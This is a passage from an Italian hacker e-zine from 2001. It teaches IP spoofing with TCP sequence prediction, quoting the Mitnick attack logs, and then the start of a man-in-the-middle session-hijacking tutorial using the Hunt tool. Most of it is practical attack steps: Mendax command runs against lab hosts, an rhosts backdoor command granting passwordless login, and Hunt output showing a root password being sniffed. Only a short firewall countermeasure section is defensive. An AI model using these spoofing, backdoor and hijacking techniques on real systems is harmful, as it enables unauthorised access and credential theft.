| tempo pari alla metà del RTT per compiere il tragitto che separa i due host, |
| |
| è possibile predire l'ISN del sistema bersaglio. |
| E' bene tenere presente che l'instaurazione di una connessione su una |
| qualsiasi delle porte del sistema vanificherebbe la predizione dell'ISN che |
| vedrebbe incrementato di 64.000 il proprio valore. |
| |
| 4.2.1 Esempio |
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence |
| attack" |
| |
| "We now see 20 connection attempts from apollo.it.luc.edu to |
| x-terminal.shell. The purpose of these attempts is to determine the behavior |
| |
| of x-terminal's TCP sequence number generator. Note that the initial |
| sequence numbers increment by one for each connection, indicating that the |
| SYN packets are *not* being generated by the system's TCP implementation. |
| This results in RSTs conveniently being generated in response to each |
| unexpected SYN-ACK, so the connection queue on x-terminal does not fill up: |
| |
| 14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S |
| 1382726990:1382726990(0) win 4096 |
| 14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S |
| 2021824000:2021824000(0) ack 1382726991 win 4096 |
| 14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R |
| 1382726991:1382726991(0) win 0 |
| 14:18:26.507560 apollo.it.luc.edu.999 > x-termina
l.shell: S |
| 1382726991:1382726991(0) win 4096 |
| 14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S |
| 2021952000:2021952000(0) ack 1382726992 win 4096 |
| 14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R |
| 1382726992:1382726992(0) win 0 |
| 14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R |
| 1382726992:1382726992(0) win 0 |
| 14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S |
| 1382726992:1382726992(0) win 4096 |
| 14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S |
| 2022080000:2022080000(0) ack 1382726993 win 4096 |
| 14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R |
| 1382726993:1382726993(0) win 0 |
| 14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S |
| 1382726993:1382726993(0) win 4096 |
| 14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S |
| 2022208000:2022208000(0) ack 1382726994 win 4096 |
| 14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R |
| 1382726994:1382726994(0) win 0 |
| 14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S |
| 1382726994:1382726994(0) win 4096 |
| 14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S |
| 2022336000:2022336000(0) ack 1382726995 win 4096 |
| 14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R |
| 1382726995:1382726995(0) win 0 |
| 14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S |
| 1382726995:1382726995(0) win 4096 |
| 14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S |
| 2022464000:2022464000(0) ack 1382726996 win 4096 |
| 14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R |
| 1382726996:1382726996(0) win 0 |
| 14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S |
| 1382726996:1382726996(0) win 4096 |
| 14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S |
| 2022592000:2022592000(0) ack 1382726997 win 4096 |
| 14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R |
| 1382726997:1382726997(0) win 0 |
| 14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R |
| 1382726997:1382726997(0) win 0 |
| 14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S |
| 1382726997:1382726997(0) win 4096 |
| 14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S |
| 2022720000:2022720000(0) ack 1382726998 win 4096 |
| 14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R |
| 1382726998:1382726998(0) win 0 |
| 14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S |
| 1382726998:1382726998(0) win 4096 |
| 14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S |
| 2022848000:2022848000(0) ack 1382726999 win 4096 |
| 14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R |
| 1382726999:1382726999(0) win 0 |
| 14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S |
| 1382726999:1382726999(0) win 4096 |
| 14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S |
| 2022976000:2022976000(0) ack 1382727000 win 4096 |
| 14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R |
| 1382727000:1382727000(0) win 0 |
| 14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S |
| 1382727000:1382727000(0) win 4096 |
| 14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S |
| 2023104000:2023104000(0) ack 1382727001 win 4096 |
| 14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R |
| 1382727001:1382727001(0) win 0 |
| 14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S |
| 1382727001:1382727001(0) win 4096 |
| 14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S |
| 2023232000:2023232000(0) ack 1382727002 win 4096 |
| 14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R |
| 1382727002:1382727002(0) win 0 |
| 14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S |
| 1382727002:1382727002(0) win 4096 |
| 14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S |
| 2023360000:2023360000(0) ack 1382727003 win 4096 |
| 14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R |
| 1382727003:1382727003(0) win 0 |
| 14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S |
| 1382727003:1382727003(0) win 4096 |
| 14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S |
| 2023488000:2023488000(0) ack 1382727004 win 4096 |
| 14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R |
| 1382727004:1382727004(0) win 0 |
| 14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S |
| 1382727004:1382727004(0) win 4096 |
| 14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S |
| 2023616000:2023616000(0) ack 1382727005 win 4096 |
| 14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R |
| 1382727005:1382727005(0) win 0 |
| 14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S |
| 1382727005:1382727005(0) win 4096 |
| 14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S |
| 2023744000:2023744000(0) ack 1382727006 win 4096 |
| 14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R |
| 1382727006:1382727006(0) win 0 |
| 14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S |
| 1382727006:1382727006(0) win 4096 |
| 14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S |
| 2023872000:2023872000(0) ack 1382727007 win 4096 |
| 14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R |
| 1382727007:1382727007(0) win 0 |
| 14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S |
| 1382727007:1382727007(0) win 4096 |
| 14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S |
| 2024000000:2024000000(0) ack 1382727008 win 4096 |
| 14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R |
| 1382727008:1382727008(0) win 0 |
| 14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S |
| 1382727008:1382727008(0) win 4096 |
| 14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S |
| 2024128000:2024128000(0) ack 1382727009 win 4096 |
| 14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R |
| 1382727009:1382727009(0) win 0 |
| 14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S |
| 1382727009:1382727009(0) win 4096 |
| 14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S |
| 2024256000:2024256000(0) ack 1382727010 win 4096 |
| 14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R |
| 1382727010:1382727010(0) win 0 |
| |
| Note that each SYN-ACK packet sent by x-terminal has an initial sequence |
| number which is 128,000 greater than the previous one." |
| |
| 4.3 Impersonificazione dell'host di fiducia |
| |
| 1) L'attacker manda un pacchetto TCP con flag SYN attivo (richiesta di |
| connessione), l'header del pacchetto IP è contraffatto e riporta nel campo |
| source address l'ip del sistema che gode di una relazione di fiducia nei |
| confronti dell'host bersaglio. |
| 2) L'host bersaglio risponde con un pacchetto SYN/ACK che non sarà ricevuto |
| dall'host spoofed, tale pacchetto sarà instradato verso il legittimo |
| proprietario (il sistema di fiducia) che ignorerà tale pacchetto a causa del |
| |
| SYN flood. Non essendo a conoscenza dell'ISN generato dall'host bersaglio |
| sarà necessario procedere con la predizione del numero sequenziale con le |
| modalità descritte in precedenza. |
| 3) L'attacker manda un secondo pacchetto TCP con flag ACK attivo, l'header |
| del pacchetto IP è contraffatto e riporta ancora una volta l'ip del sistema |
| di fiducia, il campo acknowledgment number contiene l'ISN predetto |
| incrementato di uno. Se tutto è andato per il verso giusto otterremo una |
| connessione unilaterale con il sistema bersaglio. |
| |
| |
| 1 S(M) --> D SYN=1, ISN=100 |
| |
| 2 M <-- D ISN=??? |
| |
| 3 S(M) --> D ACK=1, ack=ISN(predetto)+1 |
| |
| M = mittente |
| D = destinatario |
| S = spoofed |
| |
| |
| 4.3.1 Esempio |
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence |
| attack" |
| |
| "Normally, the sequence number from the SYN-ACK is required in order to |
| generate a valid ACK. However, the attacker is able to predict the sequence |
| |
| number contained in the SYN-ACK based on the known behavior of x-terminal's |
| TCP sequence number generator, and is thus able to ACK the SYN-ACK without |
| seeing it: |
| |
| 14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) |
| win 4096 |
| 14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096 |
| |
| The spoofing machine now has a one-way connection to x-terminal.shell which |
| appears to be from server.login." |
| |
| 5. Backdoor |
| La tecnica appena descritta ci permette di sfruttare la relazione di fiducia |
| |
| acquisita allo scopo di eseguire una backdoor sul sistema remoto, questo ci |
| permetterà un accesso al sistema più agevole in futuro, vediamo un esempio: |
| |
| cat + + >> ~/.rhosts |
| |
| Questo comando eseguito dalla shell reindirizza l'output standard del |
| comando echo verso il file .rhosts che si trova nella directory ~ (home) |
| dell'utente, all'interno di tale file verrà aggiunta la stringa "+ +" che |
| permette il login da parte di qualsiasi sistema remoto senza bisogno di |
| password alcuna. |
| |
| 5.1 Esempio |
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence |
| attack" |
| |
| "It can maintain the connection and send data provided that it can properly |
| ACK any data sent by x-terminal. It sends the following: |
| |
| 14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 |
| 14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096 |
| 14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096 |
| |
| which corresponds to: |
| 14:18:37 server# rsh x-terminal "echo + + >>/.rhosts" |
| |
| Total elapsed time since the first spoofed packet: < 16 seconds" |
| |
| 6. Parte pratica |
| Veniamo al sodo, ovvero come mettere in pratica quanto imparato al fine di |
| realizzare un attacco spoofed sfruttando le relazioni di fiducia di cui gode |
| |
| un certo host. Come ogni attacco che si rispetti dobbiamo procedere prima di |
| |
| tutto ricavando il maggior numero di informazioni sul nostro host target, le |
| |
| informazioni che maggiormente ci interessano sono principalmente due: |
| |
| - la presenza di servizi quali rlogin, rsh, rcp, rwho, etc; |
| - il livello di prevedibilità del sequence number; |
| |
| A tale scopo utilizzeremo il programma Nmap che è in grado di fornirci tali |
| informazioni, l'opzione -O ci permette di operare un fingerprint(1) dello |
| stack TCP e determinarne la prevedibilità del sequence number, per maggiori |
| informazioni riguardo l'uso di Nmap consultare la man page relativa a tale |
| programma. |
| |
| (1)fingerprint: è detto fingerprinting la tecnica che permette mediante |
| l'analisi dello stack TCP la determinazione del sistema operativo da remoto, |
| |
| questa tecnica si basa proprio sull'analisi delle differenze dello stack |
| caratterizzanti un certo sistema operativo. |
| |
| Per effettuare l'attacco vero e proprio useremo invece il noto programma |
| Mendax che utilizzerà le tecniche descritte in precedenza per exploitare(2) |
| l'host remoto: |
| |
| - SYN flood del sistema trusted; |
| - campionamento del sistema target; |
| - predizione del sequence number; |
| - spoofing su rshd; |
| - esecuzione della backdoor; |
| |
| (2)exploit: programma o tecnica che ci permette di ottenere privilegi |
| particolari nei confronti di un host sul quale non abbiamo accesso o |
| possediamo privilegi limitati. |
| |
| Vediamo la sintassi utilizzata da tale programma: |
| |
| [root@pluto mendax]# ./mendax |
| Usage: ./mendax [OPTIONS] <source> <target> [<gateway>] |
| |
| -p PORT first port on localhost to occupy |
| -s PORT server port on <source> to swamp |
| -l USERNAME user on <source> |
| -r USERNAME user on <target> |
| -c COMMAND command to execute |
| -w PORT wait for a TCP SYN packet on port PORT |
| -d read data from stdin and send it. |
| -t test whether attack might succeed |
| -L TERM spoof rlogind instead of rshd. |
| -S PORT port from which to sample seq numbers. |
| |
| L'opzione -s permette di specificare la porta del sistema trusted su cui |
| attuare il SYN flood, l'opzione -r specifica l'utente con cui si intende |
| autenticarsi sul sistema target, l'utente dipende strettamente da quanto |
| dichiarato sul file .rhosts presente sul sistema remoto, l'opzione -c |
| permette di specificare il comando da eseguire una volta ottenuto l'accesso, |
| |
| infine -S permette di specificare la porta su cui effettuare il |
| campionamento dei numeri sequenziali, tale impostazione va scelta in base |
| all'output del comando Nmap e va settata pari al valore di una porta del |
| sistema target che risulti nello stato open. |
| |
| Nota personale: |
| Ho ritenuto necessario modificare il file mendax.h sostituendo la riga: |
| |
| #define SAMPLEPACKETS 4 |
| con la seguente: |
| |
| #define SAMPLEPACKETS 20 |
| al fine di rendere più significativo il campionamento effettuato dal |
| programma stesso. |
| |
| 6.1 Uso di Nmap e del programma Mendax |
| Ecco un esempio di attacco eseguito su una macchina che monta Mandrake 8.0: |
| |
| [root@pluto root]# nmap -O 192.168.1.35 |
| |
| Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) |
| Interesting ports on pluto.workgroup.com (192.168.1.35): |
| (The 1517 ports scanned but not shown below are in state: closed) |
| Port State Service |
| 23/tcp open telnet |
| 25/tcp open smtp |
| 111/tcp open sunrpc |
| 631/tcp open unknown |
| 6000/tcp open X11 |
| 32770/tcp open sometimes-rpc3 |
| |
| TCP Sequence Prediction: Class=random positive increments |
| Difficulty=1468724 (Good luck!) |
| No OS matches for host (If you know what OS is running on it, see |
| http://www.insecure.org/cgi-bin/nmap-submit.cgi). |
| TCP/IP fingerprint: |
| TSeq(Class=RI%gcd=1%SI=2CCF1D) |
| TSeq(Class=RI%gcd=1%SI=2CD1F2) |
| TSeq(Class=RI%gcd=2%SI=166934) |
| T1(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW) |
| T2(Resp=N) |
| T3(Resp=Y%DF=Y%W=7FFF%ACK=S++%Flags=AS%Ops=MNNTNW) |
| T4(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=) |
| T5(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=) |
| T6(Resp=Y%DF=Y%W=0%ACK=O%Flags=R%Ops=) |
| T7(Resp=Y%DF=Y%W=0%ACK=S++%Flags=AR%Ops=) |
| PU(Resp=Y%DF=Y%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E) |
| |
| |
| |
| Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds |
| |
| Come potrete notare siamo in presenza di una macchina che non solo non monta |
| |
| i servizi necessari alla riuscita del nostro attacco ma la predizione del |
| sequence number risulterebbe alquanto difficoltosa, questo dato può essere |
| ricavato dalla voce seguente: |
| |
| TCP Sequence Prediction: Class=random positive increments |
| Difficulty=1468724 (Good luck!) |
| |
| In questo caso se cercassimo di usare il tool Mendax per realizzare il |
| nostro attacco esso fallirebbe miseramente a causa dell'incrementazione |
| random del sequence number che ne impedisce qualsiasi predizione, ecco |
| l'esempio: |
| |
| [root@pluto mendax]# ./mendax -S 23 192.168.1.2 192.168.1.35 |
| flooding source with TCP SYN packets from 143.209.4.3: .................... |
| sampling sequence numbers... |
| |
| seq number: 991645491, ack number: 1 |
| seq number: 986108304, ack number: 64001 difference: -5537187 |
| seq number: 996466103, ack number: 128001 difference: 10357799 |
| seq number: 998585156, ack number: 192001 difference: 2119053 |
| seq number: 990883549, ack number: 256001 difference: -7701607 |
| seq number: 1000310665, ack number: 320001 difference: 9427116 |
| seq number: 989419335, ack number: 384001 difference: -10891330 |
| seq number: 993096000, ack number: 448001 difference: 3676665 |
| seq number: 987811540, ack number: 512001 difference: -5284460 |
| seq number: 995054978, ack number: 576001 difference: 7243438 |
| seq number: 995947714, ack number: 640001 difference: 892736 |
| seq number: 984271645, ack number: 704001 difference: -11676069 |
| seq number: 990591826, ack number: 768001 difference: 6320181 |
| seq number: 995223221, ack number: 832001 difference: 4631395 |
| seq number: 998562942, ack number: 896001 difference: 3339721 |
| seq number: 984338810, ack number: 960001 difference: -14224132 |
| seq number: 997948849, ack number: 1024001 difference: 13610039 |
| seq number: 984199097, ack number: 1088001 difference: -13749752 |
| seq number: 991693416, ack number: 1152001 difference: 7494319 |
| seq number: 994890294, ack number: 1216001 difference: 3196878 |
| |
| no detectable difference pattern. |
| using 3196878 as prediction difference (1 hit). |
| spoofing rshd. |
| resetting TCP target connection: . |
| resetting source: .................... |
| |
| Mendax risponde con "no detectable difference pattern.", ciò significa che |
| non è possibile stabilire una relazione tra un numero sequenziale e quello |
| immediatamente successivo. |
| Il prossimo esempio è tratto dal probe di una macchina RedHat 6.1 kernel |
| 2.2.12: |
| |
| [root@pluto mendax]# nmap -O 192.168.1.34 |
| |
| Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) |
| Interesting ports on pippo.workgroup.com (192.168.1.34): |
| (The 1513 ports scanned but not shown below are in state: closed) |
| Port State Service |
| 21/tcp open ftp |
| 23/tcp open telnet |
| 25/tcp open smtp |
| 79/tcp open finger |
| 98/tcp open linuxconf |
| 111/tcp open sunrpc |
| 113/tcp open auth |
| 513/tcp open login |
| 514/tcp open shell |
| 515/tcp open printer |
| |
| TCP Sequence Prediction: Class=random positive increments |
| Difficulty=5589937 (Good luck!) |
| Remote operating system guess: Linux 2.1.122 - 2.2.14 |
| |
| Nmap run completed -- 1 IP address (1 host up) scanned in 1 second |
| |
| Questa volta le porte interessate dall'attacco sono disponibili (513, 514) |
| ma la predizione del sequence number risulta ancora una volta difficoltosa, |
| il nostro attacco non funzionarà: |
| |
| [root@pluto mendax]# ./mendax 192.168.1.2 192.168.1.34 |
| flooding source with TCP SYN packets from 143.209.4.3: .................... |
| sampling sequence numbers... |
| |
| seq number: 4178634327, ack number: 1 |
| seq number: 4179028914, ack number: 64001 difference: 394587 |
| seq number: 4174024512, ack number: 128001 difference: -5004402 |
| seq number: 4163370868, ack number: 192001 difference: -10653644 |
| seq number: 4167396870, ack number: 256001 difference: 4026002 |
| seq number: 4169257246, ack number: 320001 difference: 1860376 |
| seq number: 4167244436, ack number: 384001 difference: -2012810 |
| seq number: 4175107959, ack number: 448001 difference: 7863523 |
| seq number: 4166530375, ack number: 512001 difference: -8577584 |
| seq number: 4165158028, ack number: 576001 difference: -1372347 |
| seq number: 4173646859, ack number: 640001 difference: 8488831 |
| seq number: 4176496350, ack number: 704001 difference: 2849491 |
| seq number: 4167788146, ack number: 768001 difference: -8708204 |
| seq number: 4167622693, ack number: 832001 difference: -165453 |
| seq number: 4175721601, ack number: 896001 difference: 8098908 |
| seq number: 4174721790, ack number: 960001 difference: -999811 |
| seq number: 4172954422, ack number: 1024001 difference: -1767368 |
| seq number: 4179219208, ack number: 1088001 difference: 6264786 |
| seq number: 4177168403, ack number: 1152001 difference: -2050805 |
| seq number: 4169364973, ack number: 1216001 difference: -7803430 |
| |
| no detectable difference pattern. |
| using -7803430 as prediction difference (1 hit). |
| spoofing rshd. |
| resetting TCP target connection: . |
| resetting source: .................... |
| |
| Quello che segue è un esempio di attacco portato a termine con successo su |
| di una macchina vulnerabile, la difficoltà di predizione del sequence number |
| |
| appariva come output del comando Nmap in questo modo: |
| |
| TCP Sequence Prediction: Class=trivial time dependency |
| Difficulty=1 (Trivial joke) |
| |
| [root@pluto mendax]# ./mendax 192.168.1.2 192.168.1.32 |
| flooding source with TCP SYN packets from 143.209.4.3: .................... |
| sampling sequence numbers... |
| |
| seq number: 885951, ack number: 1 |
| seq number: 885951, ack number: 64001 difference: 0 |
| seq number: 885951, ack number: 128001 difference: 0 |
| seq number: 885951, ack number: 192001 difference: 0 |
| seq number: 885951, ack number: 256001 difference: 0 |
| seq number: 885951, ack number: 320001 difference: 0 |
| seq number: 885951, ack number: 384001 difference: 0 |
| seq number: 885951, ack number: 448001 difference: 0 |
| seq number: 885951, ack number: 512001 difference: 0 |
| seq number: 885951, ack number: 576001 difference: 0 |
| seq number: 885951, ack number: 640001 difference: 0 |
| seq number: 885951, ack number: 704001 difference: 0 |
| seq number: 885951, ack number: 768001 difference: 0 |
| seq number: 885951, ack number: 832001 difference: 0 |
| seq number: 885951, ack number: 896001 difference: 0 |
| seq number: 885952, ack number: 960001 difference: 1 |
| seq number: 885952, ack number: 1024001 difference: 0 |
| seq number: 885952, ack number: 1088001 difference: 0 |
| seq number: 885952, ack number: 1152001 difference: 0 |
| seq number: 885952, ack number: 1216001 difference: 0 |
| |
| using 0 as prediction difference (18 hits). |
| spoofing rshd. |
| resetting TCP target connection: . |
| resetting source: .................... |
| |
| La riuscita dell'attacco comporta l'esecuzione della backdoor sul sistema |
| attaccato. |
| |
| 7. Contromisure |
| Come indicato dal CERT Advisory CA-1995-01 è consigliabile impostare le |
| corrette rules sul proprio firewall in modo da prevenire questo genere di |
| attacchi, gli indirizzi a rischio sono quelli riservati all'uso locale e |
| l'indirizzo di loopback: |
| |
| |
| 127.0.0.0 - 127.255.255.255 (loopback) |
| 10.0.0.0 - 10.255.255.255 (reserved) |
| 172.16.0.0 - 172.31.255.255 (reserved) |
| 192.168.0.0 - 192.168.255.255 (reserved) |
| |
| |
| Bibliografia: |
| |
| CERT Advisory CA-1995-01 IP Spoofing Attack and Hijacked Terminal |
| Connections |
| RFC 793 - Transmission Control Protocol |
| TCP/IP Guida Completa - Apogeo |
| Phrack Magazine - IP-spoofing Demystified |
| How Mitnick hacked Tsutomu Shimomura with an IP sequence attack |
| |
| |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 |
| MAN iN THE MiDDLE ATTACK - Hunt v.1.5 [E4zy] 0x09/0x23 |
+-------------------------------------------------------------------------------+
| |
| *** PREMESSA *** |
| L'articolo da per scontato che si conoscano le modalità di un attacco IP |
| Spoofing che costituisce la base portante di un dirottamento di sessione |
| come quello descritto in seguito, è consigliata la lettura dell'articolo "IP |
| |
| Spoofing Attack" presente in questo stesso numero della zine prima di |
| proseguire con la lettura |
| **************** |
| |
| Introduzione |
| L'attacco Man In The Middle, meglio conosciuto come TCP Hijacking, permette |
| lo sniffing(1), la modifica e il reinstradamento del traffico di rete; |
| durante la trattazione di questo articolo, avvalendoci del tool Hunt, |
| metteremo in pratica quanto imparato. |
| |
| (1)sniffing: letteralmente fiutare, catturare il traffico di dati da/verso |
| un certo dispositivo, esempio la rete, la tastiera |
| |
| ARP (Address Resolution Protocol) |
| Ogni scheda di rete possiede un proprio indirizzo fisico (MAC), nel momento |
| in cui un host deve mandare un pacchetto ad un altro host o al proprio |
| gateway deve conoscerne il MAC address. Se il MAC address del destinatario |
| non viene trovano nella propria cache ARP l'host mittente genererà un |
| pacchetto ARP che verrà inviato all'indirizzo di broadcast (tutti gli host |
| della rete). Tale richiesta conterrà l'indirizzo IP dell'host di cui si |
| richiede il MAC address, una volta ricevuto dall'host interessato esso |
| invierà al mittente un pacchetto ARP di risposta contenente il proprio MAC |
| address. |
| Per ovviare al problema di far richiesta del MAC address ogni qual volta sia |
| |
| necessario spedire un nuovo pacchetto, il mittente si preoccuperà di salvare |
| |
| l'IP e il MAC address nella propria cache, i pacchetti successivi potranno |
| essere inoltrati senza bisogno di alcuna interrogazione. |
| |
| Teoria |
| Il TCP Hijacking può essere applicato a qualsiasi tipo di applicazione che |
| non utilizzi un tunneling crittografico (esempio SSH), di conseguenza |
| possiamo individuare come potenziali vittime applicazione come telnet, ftp, |
| rlogin, etc., un malintenzionato ha la possibilità, grazie a un dirottamento |
| |
| di sessione, di impadronirsi della sessione stessa e comprometterne |
| l'integrità dei dati. Il fatto stesso di assumere la direzione di una |
| connessione esistente, permette all'attacker di bypassare qualsiasi schema |
| di autenticazione attingendo ad una connessione dove l'utente vittima ha già |
| |
| completato la procedura di login. |
| Gli host in gioco sono ancora una volta tre: |
| - attacker: che esegue l'attacco; |
| - victim: il client vittima; |
| - target: il server al quale è collegata la vittima; |
| |
| Requisiti |
| - la vittima e il server comunicano tra loro senza far utilizzo di alcun |
| tipo di criptazione; |
| - almeno uno dei host coinvolti (victim o target) si trova nella stessa rete |
| |
| locale del sistema attacker, non necessariamente nello stesso segmento di |
| rete; |
| |
| Simple Active Attack |
| Questo tipo di attacco è quello di più facile implementazione, si avvale di |
| pacchetti che riportano nell'header (intestazione) IP address e ARP |
| address(2) spoofed (i veri indirizzi di victim e target); tale |
| implementazione dell'attacco può comportare alcuni effetti indesiderati, |
| primo tra tutti il fenomeno conosciuto con il nome di "ACK storm". |
| |
| (2)ARP address: indirizzo MAC, ovvero l'indirizzo fisico del sistema |
| |
| ACK Storm |
| Fenomeno dovuto alla maggior parte delle implementazioni dello stack TCP |
| (Linux 2.0 non risente di tale problema), immaginiamo che attacker mandi un |
| pacchetto (spoofato con l'ip e MAC address di victim) a target, di |
| conseguenza victim riceverà un ACK inatteso da target e risponderà ad esso, |
| la cosa continuerà generando un loop di ACK. |
| |
| ARP Forcing |
| Ha lo scopo di scongiurare un eventuale ACK storm, consiste nella |
| falsificazione dei campi relativi al MAC address, avremo così la possibilità |
| |
| di redirigere le risposte di target verso un host fittizio, in questo modo |
| victim non sarà bersaglio di ACK inattesi. |
| Questa tecnica non funzionerebbe con sistemi Solaris 2.5 a causa del minor |
| tempo con cui le voci ARP scadono e vengono di conseguenza eliminate dalla |
| cache ARP. |
| Il programma Hunt, che useremo più avanti nella trattazione di questo |
| articolo, cerca di risolvere tale problema attuando un force sia del MAC |
| address di victim che di quello di target, in questo modo sia target che |
| victim inviano il loro traffico verso l'host fittizio di conseguenza nel |
| caso in cui uno dei due sistemi sia un Solaris 2.5 e l'altro no, l'ACK storm |
| |
| verrà comunque scongiurato. Non solo! Come ogni network sniffer che si |
| rispetti Hunt è in grado di sniffare tutto il traffico diretto verso l'host |
| fittizio :) |
| L'unico problema rimane nel caso in cui i due sistemi coinvolti siano |
| entrambi Solaris 2.5 :( |
| |
| Pratica |
| Guida all'uso di Hunt v.1.5 |
| Breve introduzione alle principali funzioni del programma: |
| |
| Connection Sniffing |
| Permette di osservare il traffico generato da qualsiasi connessione |
| disponibile. |
| Analizziamo una sessione a rischio dove l'utente victim accede all'host |
| target tramite telnet ed esegue il comando "su" per ottenere i privilegi del |
| |
| superuser: |
| |
| Last login: Fri Oct 26 15:34:01 from 192.168.1.35 |
| [victim@target victim]$ su |
| Password: |
| [root@target victim]# |
| |
| Vediamo il tutto dagli occhi dell'attacker: |
| |
| [attacker@attacker hunt-1.5]# ./hunt |
| /* |
| * hunt 1.5 |
| * multipurpose connection intruder / sniffer for Linux |
| * (c) 1998-2000 by kra |
| */ |
| starting hunt |
| --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ |
| l/w/r) list/watch/reset connections |
| u) host up tests |
| a) arp/simple hijack (avoids ack storm if arp used) |
| s) simple hijack |
| d) daemons rst/arp/sniff/mac |
| o) options |
| x) exit |
| *> w |
| 0) 192.168.1.35 [34335] --> 192.168.1.34 [23] |
| |
| choose conn> 0 |
| dump [s]rc/[d]st/[b]oth [b]> s |
| |
| |
| CTRL-C to break |
| su |
| secret |
| |
| L'opzione (w)atch ci permette di sniffare il traffico tra l'host victim e |
| target, ho scelto di dumpare il solo traffico che coinvolge l'host sorgente |
| ovvero victim: |
| dump [s]rc/[d]st/[b]oth [b]> s |
| |
| il che si è rivelato una mossa azzeccata e mi ha permesso di sniffare |
| l'esecuzione di "su" con relativa password di root, slurp :) |
| |
| Simple Hijack |
| L'attacco di più semplice attuazione ma anche il più rischioso al tempo |
| stesso, permette di inserire un comando all'interno del flusso di dati della |
| |
| sessione dirottata. Molto spesso tale attacco degenera in un ACK storm che |
| impedisce qualsiasi ulteriore inoltro di pacchetti. |
| Un ulteriore problema è rappresentato dal fatto che, in tale modalità, |
| l'utente victim è in grado di vedere l'output generato dall'esecuzione dei |
| comandi di attacker. |
| In caso di esito positivo l'attacker avrà la possibilità di resettare la |
| connessione o procedere alla sua sincronizzazione (spiegato in seguito). |
| Nell'esempio riportato in seguito l'utente victim si è autentificato con |
| successo sul sistema target, a questo punto abbiamo la possibilità di |
| eseguire comandi arbitrari sul server target con i privilegi associati a |
| victim, il programma hunt non farà altro che accodare al flusso di dati il |
| nostro comando che risulterà provenire dall'host victim: |
| |
